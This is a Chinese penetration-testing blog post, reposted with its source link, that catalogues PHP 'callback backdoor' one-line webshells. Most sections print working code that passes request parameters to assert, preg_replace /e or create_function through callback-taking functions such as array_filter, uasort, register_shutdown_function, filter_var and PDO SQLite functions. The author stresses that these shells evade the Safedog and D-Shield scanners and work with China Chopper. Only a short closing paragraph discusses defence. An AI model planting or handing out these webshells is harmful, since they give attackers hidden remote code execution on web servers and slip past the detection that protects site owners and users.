作者:Phithon
原文连接:https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html
最近很多人分享一些过狗过盾的一句话,但无非是用各种方法去构造一些动态函数,比如$_GET['func']($_REQUEST['pass'])之类的方法。万变不离其宗,但这种方法,虽然狗盾可能看不出来,但人肉眼其实很容易发现这类后门的。
那么,我就分享一下,一些不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。
0x00 前言
有很多朋友喜欢收藏一些tips,包括我也收藏了好多tips,有时候在渗透和漏洞挖掘过程中很有用处。
一句话的tips相信很多朋友也收集过好多,过狗一句话之类的。14年11月好像在微博上也火过一个一句话,当时也记印象笔记里了:
最近又看到有人在发这个:http://www.secoff.net/archives/436.html
有同学收集tips,就有同学创造tips。那么我们怎么来创造一些过狗、过D盾、无动态函数、无危险函数(无特征)的一句话(后门)?
根据上面这个pdo的一句话,我就可以得到一个很具有普适性的结论:php中包含回调函数参数的函数,具有做后门的潜质。
我就自己给这类webshell起了个名字:回调后门。
0x01 回调后门的老祖宗
php中call_user_func是执行回调函数的标准方法,这也是一个比较老的后门了:
1 |
call_user_func( 'assert' , $_REQUEST [ 'pass' ]);
|
assert直接作为回调函数,然后$_REQUEST['pass']作为assert的参数调用。
这个后门,狗和盾都可以查到(但是狗不会拦截):
可php的函数库是很丰富的,只要简单改下函数安全狗就不杀了:
1 |
call_user_func_array( 'assert' , array ( $_REQUEST [ 'pass' ]));
|
call_user_func_array函数,和call_user_func类似,只是第二个参数可以传入参数列表组成的数组。如图:
可见,虽然狗不杀了,D盾还是聪明地识别了出来。
看来,这种传统的回调后门,已经被一些安全厂商盯上了,存在被查杀的风险。
0x02 数组操作造成的单参数回调后门
进一步思考,在平时的php开发中,遇到过的带有回调参数的函数绝不止上面说的两个。这些含有回调(callable类型)参数的函数,其实都有做“回调后门”的潜力。
我最早想到个最“简单好用的”:
1 |
$e = $_REQUEST [ 'e' ];
|
2 |
$arr = array ( $_POST [ 'pass' ],);
|
3 |
array_filter ( $arr , base64_decode ( $e ));
|
array_filter函数是将数组中所有元素遍历并用指定函数处理过滤用的,如此调用(此后的测试环境都是开着狗的,可见都可以执行):
这个后门,狗查不出来,但D盾还是有感应,报了个等级3(显然比之前的等级4要低了):
类似array_filter,array_map也有同样功效:
1 |
$e = $_REQUEST [ 'e' ];
|
2 |
$arr = array ( $_POST [ 'pass' ],);
|
3 |
array_map ( base64_decode ( $e ), $arr );
|
依旧被D盾查杀。
果然,简单的数组回调后门,还是很容易被发现与查杀的。
0x03 php5.4.8+中的assert
php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:
这就增加(改变)了一个很好的“执行代码”的方法assert,这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。
比如如下回调后门:
1 |
$e = $_REQUEST [ 'e' ];
|
2 |
$arr = array ( 'test' , $_REQUEST [ 'pass' ]);
|
3 |
uasort( $arr , base64_decode ( $e ));
|
这个后门在php5.3时会报错,提示assert只能有一个参数:
php版本改作5.4后就可以执行了:
这个后门,狗和盾是都查不出来的:
同样的道理,这个也是功能类似:
1 |
$e = $_REQUEST [ 'e' ];
|
2 |
$arr = array ( 'test' => 1, $_REQUEST [ 'pass' ] => 2);
|
3 |
uksort( $arr , $e );
|
再给出这两个函数,面向对象的方法:
1 |
// way 0 |
2 |
$arr = new ArrayObject( array ( 'test' , $_REQUEST [ 'pass' ]));
|
3 |
$arr ->uasort( 'assert' );
|
4 |
5 |
// way 1 |
6 |
$arr = new ArrayObject( array ( 'test' => 1, $_REQUEST [ 'pass' ] => 2));
|
7 |
$arr ->uksort( 'assert' );
|
再来两个类似的回调后门:
1 |
$e = $_REQUEST [ 'e' ];
|
2 |
$arr = array (1);
|
3 |
array_reduce ( $arr , $e , $_POST [ 'pass' ]);
|
1 |
$e = $_REQUEST [ 'e' ];
|
2 |
$arr = array ( $_POST [ 'pass' ]);
|
3 |
$arr2 = array (1);
|
4 |
array_udiff ( $arr , $arr2 , $e );
|
以上几个都是可以直接菜刀连接的一句话,但目标PHP版本在5.4.8及以上才可用。
我把上面几个类型归为:二参数回调函数(也就是回调函数的格式是需要两个参数的)
0x04 三参数回调函数
有些函数需要的回调函数类型比较苛刻,回调格式需要三个参数。比如array_walk。
array_walk的第二个参数是callable类型,正常情况下它是格式是两个参数的,但在0x03中说了,两个参数的回调后门需要使用php5.4.8后的assert,在5.3就不好用了。但这个回调其实也可以接受三个参数,那就好办了:
php中,可以执行代码的函数:
- 一个参数:assert
- 两个参数:assert (php5.4.8+)
- 三个参数:preg_replace /e模式
三个参数可以用preg_replace。所以我这里构造了一个array_walk + preg_replace的回调后门:
1 |
$e = $_REQUEST [ 'e' ];
|
2 |
$arr = array ( $_POST [ 'pass' ] => '|.*|e' ,);
|
3 |
array_walk ( $arr , $e , '' );
|
如图,这个后门可以在5.3下使用:
但强大的D盾还是有警觉(虽然只是等级2):
不过呵呵,PHP拥有那么多灵活的函数,稍微改个函数(array_walk_recursive)D盾就查不出来了:
1 |
$e = $_REQUEST [ 'e' ];
|
2 |
$arr = array ( $_POST [ 'pass' ] => '|.*|e' ,);
|
3 |
array_walk_recursive ( $arr , $e , '' );
|
不截图了。
看了以上几个回调后门,发现preg_replace确实好用。但显然很多WAF和顿顿狗狗的早就盯上这个函数了。其实php里不止这个函数可以执行eval的功能,还有几个类似的:
1 |
mb_ereg_replace( '.*' , $_REQUEST [ 'pass' ], '' , 'e' );
|
另一个:
1 |
echo preg_filter( '|.*|e' , $_REQUEST [ 'pass' ], '' );
|
这两个一句话都是不杀的:
好用的一句话,且用且珍惜呀。
0x05 无回显回调后门
回调后门里,有个特殊的例子:ob_start。
ob_start可以传入一个参数,也就是当缓冲流输出时调用的函数。但由于某些特殊原因(可能与输出流有关),即使有执行结果也不在流里,最后也输出不了,所以这样的一句话没法用菜刀连接:
1 |
ob_start( 'assert' );
|
2 |
echo $_REQUEST [ 'pass' ];
|
3 |
ob_end_flush(); |
但如果执行一个url请求,用神器cloudeye还是能够观测到结果的:
即使没输出,实际代码是执行了的。也算作回调后门的一种。
0x06 单参数后门终极奥义
preg_replace、三参数后门虽然好用,但/e模式php5.5以后就废弃了,不知道哪天就会给删了。所以我觉得还是单参数后门,在各个版本都比较好驾驭。
这里给出几个好用不杀的回调后门
1 |
$e = $_REQUEST [ 'e' ];
|
2 |
register_shutdown_function( $e , $_REQUEST [ 'pass' ]);
|
这个是php全版本支持的,且不报不杀稳定执行:
再来一个:
1 |
$e = $_REQUEST [ 'e' ];
|
2 |
declare (ticks=1);
|
3 |
register_tick_function ( $e , $_REQUEST [ 'pass' ]);
|
再来两个:
1 |
filter_var( $_REQUEST [ 'pass' ], FILTER_CALLBACK, array ( 'options' => 'assert' ));
|
2 |
filter_var_array( array ( 'test' => $_REQUEST [ 'pass' ]), array ( 'test' => array ( 'filter' => FILTER_CALLBACK, 'options' => 'assert' )));
|
这两个是filter_var的利用,php里用这个函数来过滤数组,只要指定过滤方法为回调(FILTER_CALLBACK),且option为assert即可。
这几个单参数回调后门非常隐蔽,基本没特征,用起来很6.
0x07 数据库操作与第三方库中的回调后门
回到最早微博上发出来的那个sqlite回调后门,其实sqlite可以构造的回调后门不止上述一个。
我们可以注册一个sqlite函数,使之与assert功能相同。当执行这个sql语句的时候,就等于执行了assert。所以这个后门我这样构造:
1 |
$e = $_REQUEST [ 'e' ];
|
2 |
$db = new PDO( 'sqlite:sqlite.db3' );
|
3 |
$db ->sqliteCreateFunction( 'myfunc' , $e , 1);
|
4 |
$sth = $db ->prepare( "SELECT myfunc(:exec)" );
|
5 |
$sth ->execute( array ( ':exec' => $_REQUEST [ 'pass' ]));
|
执行之:
上面的sqlite方法是依靠PDO执行的,我们也可以直接调用sqlite3的方法构造回调后门:
1 |
$e = $_REQUEST [ 'e' ];
|
2 |
$db = new SQLite3( 'sqlite.db3' );
|
3 |
$db ->createFunction( 'myfunc' , $e );
|
4 |
$stmt = $db ->prepare( "SELECT myfunc(?)" );
|
5 |
$stmt ->bindValue(1, $_REQUEST [ 'pass' ], SQLITE3_TEXT);
|
6 |
$stmt ->execute();
|
前提是php5.3以上。如果是php5.3以下的,使用sqlite_*函数,自己研究我不列出了。
这两个回调后门,都是依靠php扩展库(pdo和sqlite3)来实现的。其实如果目标环境中有特定扩展库的情况下,也可以来构造回调后门。
比如php_yaml:
1 |
$str = urlencode( $_REQUEST [ 'pass' ]);
|
2 |
$yaml = <<<EOD
|
3 |
greeting: !{ $str } "|.+|e"
|
4 |
EOD; |
5 |
$parsed = yaml_parse( $yaml , 0, $cnt , array ( "!{$_REQUEST['pass']}" => 'preg_replace' ));
|
还有php_memcached:
1 |
$mem = new Memcache();
|
2 |
$re = $mem ->addServer( 'localhost' , 11211, TRUE, 100, 0, -1, TRUE, create_function( '$a,$b,$c,$d,$e' , 'return assert($a);' ));
|
3 |
$mem ->connect( $_REQUEST [ 'pass' ], 11211, 0);
|
自行研究吧。
0x08 其他参数型回调后门
上面说了,回调函数格式为1、2、3参数的时候,可以利用assert、assert、preg_replace来执行代码。但如果回调函数的格式是其他参数数目,或者参数类型不是简单字符串,怎么办?
举个例子,php5.5以后建议用preg_replace_callback代替preg_replace的/e模式来处理正则执行替换,那么其实preg_replace_callback也是可以构造回调后门的。
preg_replace_callback的第二个参数是回调函数,但这个回调函数被传入的参数是一个数组,如果直接将这个指定为assert,就会执行不了,因为assert接受的参数是字符串。
所以我们需要去“构造”一个满足条件的回调函数。
怎么构造?使用create_function:
1 |
preg_replace_callback( '/.+/i' , create_function( '$arr' , 'return assert($arr[0]);' ), $_REQUEST [ 'pass' ]);
|
“创造”一个函数,它接受一个数组,并将数组的第一个元素$arr[0]传入assert。
这也是一个不杀不报稳定执行的回调后门,但因为有create_function这个敏感函数,所以看起来总是不太爽。不过也是没办法的事。
类似的,这个也同样:
1 |
mb_ereg_replace_callback( '.+' , create_function( '$arr' , 'return assert($arr[0]);' ), $_REQUEST [ 'pass' ]);
|
再来一个利用CallbackFilterIterator方法的回调后门:
1 |
$iterator = new CallbackFilterIterator( new ArrayIterator( array ( $_REQUEST [ 'pass' ],)), create_function( '$a' , 'assert($a);' ));
|
2 |
foreach ( $iterator as $item ) {
|
3 |
echo $item ;
|
4 |
} |
这里也是借用了create_function来创建回调函数。但有些同学就问了,这里创建的回调函数只有一个参数呀?实际上这里如果传入assert,是会报错的,具体原因自己分析。
0x09 后记
这一篇文章,就像一枚核武器,爆出了太多无特征的一句话后门。我知道相关厂商在看了文章以后,会有一些小动作。不过我既然敢写出来,那么我就敢保证这些方法是多么难以防御。
实际上,回调后门是灵活且无穷无尽的后门,只要php还在发展,那么就有很多很多拥有回调函数的后门被创造。想要防御这样的后门,光光去指哪防哪肯定是不够的。
简单想一下,只有我们去控制住assert、preg_replace这类函数,才有可能防住这种漏洞。